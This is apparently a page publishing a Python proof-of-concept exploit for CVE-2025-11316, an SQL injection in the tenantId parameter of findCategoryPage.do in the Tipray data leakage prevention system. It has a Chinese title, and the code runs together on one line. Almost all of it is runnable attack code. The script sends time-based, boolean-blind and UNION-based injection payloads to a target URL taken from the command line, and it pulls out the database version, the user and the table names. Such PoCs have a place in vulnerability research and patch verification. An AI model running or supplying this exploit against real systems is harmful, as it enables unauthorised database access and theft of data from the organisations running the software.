CVE-2025-11316：天锐数据泄露防护系统SQL注入漏洞

# CVE-2025-11316 - Tipray Data Leakage Prevention System SQL Injection PoC # Vulnerability: SQL Injection in findCategoryPage.do via tenantId parameter # Author: Security Researcher # Reference: https://github.com/FightingLzn9/vul import requests import sys import time TARGET_URL = "http://target-host:8080" VULNERABLE_ENDPOINT = "/findCategoryPage.do" def check_vulnerability(base_url): """Check if the target is vulnerable to SQL injection""" url = base_url + VULNERABLE_ENDPOINT # Normal request normal_payload = { "tenantId": "1" } # Malicious payload - basic SQL injection test malicious_payload = { "tenantId": "1' OR '1'='1" } # Time-based blind injection payload time_based_payload = { "tenantId": "1' AND SLEEP(3)-- " } try: # Test normal request start_time = time.time() normal_resp = requests.post(url, data=normal_payload, timeout=10) normal_time = time.time() - start_time # Test time-based injection start_time = time.time() malicious_resp = requests.post(url, data=time_based_payload, timeout=10) malicious_time = time.time() - start_time # If response time is significantly longer, likely vulnerable if malicious_time - normal_time >= 2: print(f"[+] Target appears vulnerable! Response delay: {malicious_time - normal_time:.2f}s") return True else: print(f"[-] Target may not be vulnerable. Response delay: {malicious_time - normal_time:.2f}s") return False except Exception as e: print(f"[!] Error: {e}") return False def exploit_union_injection(base_url): """Exploit using UNION-based SQL injection to extract data""" url = base_url + VULNERABLE_ENDPOINT # UNION-based injection to extract database version payloads = [ # Extract database version {"tenantId": "1' UNION SELECT 1,version(),3-- "}, # Extract current database {"tenantId": "1' UNION SELECT 1,database(),3-- "}, # Extract current user {"tenantId": "1' UNION SELECT 1,user(),3-- "}, # Extract table names from information_schema {"tenantId": "1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- "}, ] for payload in payloads: try: resp = requests.post(url, data=payload, timeout=10) print(f"[+] Payload: {payload['tenantId']}") print(f"[+] Response: {resp.text[:500]}") print("-" * 60) except Exception as e: print(f"[!] Error: {e}") def exploit_boolean_blind(base_url): """Exploit using boolean-based blind SQL injection""" url = base_url + VULNERABLE_ENDPOINT # Test boolean conditions true_payload = {"tenantId": "1' AND 1=1-- "} false_payload = {"tenantId": "1' AND 1=2-- "} try: true_resp = requests.post(url, data=true_payload, timeout=10) false_resp = requests.post(url, data=false_payload, timeout=10) if true_resp.text != false_resp.text: print("[+] Boolean-based blind injection confirmed!") print(f"[+] True condition response length: {len(true_resp.text)}") print(f"[+] False condition response length: {len(false_resp.text)}") return True except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = TARGET_URL print(f"[*] Testing CVE-2025-11316 against: {target}") print("=" * 60) if check_vulnerability(target): print("\n[*] Attempting UNION-based exploitation...") exploit_union_injection(target) print("\n[*] Attempting boolean-based blind exploitation...") exploit_boolean_blind(target) else: print("[-] Target does not appear vulnerable")